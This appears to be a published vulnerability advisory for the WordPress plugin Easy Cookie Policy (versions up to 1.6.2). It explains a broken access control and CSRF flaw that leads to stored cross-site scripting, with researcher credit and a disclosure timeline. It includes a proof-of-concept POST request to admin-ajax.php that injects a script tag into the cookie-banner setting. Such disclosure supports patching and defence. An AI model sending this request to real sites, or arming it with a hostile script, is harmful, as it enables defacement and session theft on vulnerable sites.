WordPress Plugin Vulnerabilities

Easy Cookie Policy <= 1.6.2 - Broken Access Control to Stored Cross-Site Scripting

Description

The plugin is lacking any capability and CSRF check when saving it's settings, allowing any authenticated users (such as subscriber) to change them. If users can't register, this can be done through CSRF. Furthermore, the cookie banner setting is not sanitised or validated before being output in all pages of the frontend and the backend settings one, leading to a Stored Cross-Site Scripting issue.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 226
Connection: keep-alive
Cookie: [Any authenticated user / via CSRF]

action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
0xB9
Submitter
0xB9
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-06-11 (about 2 years ago)
Added
2021-06-11 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

Other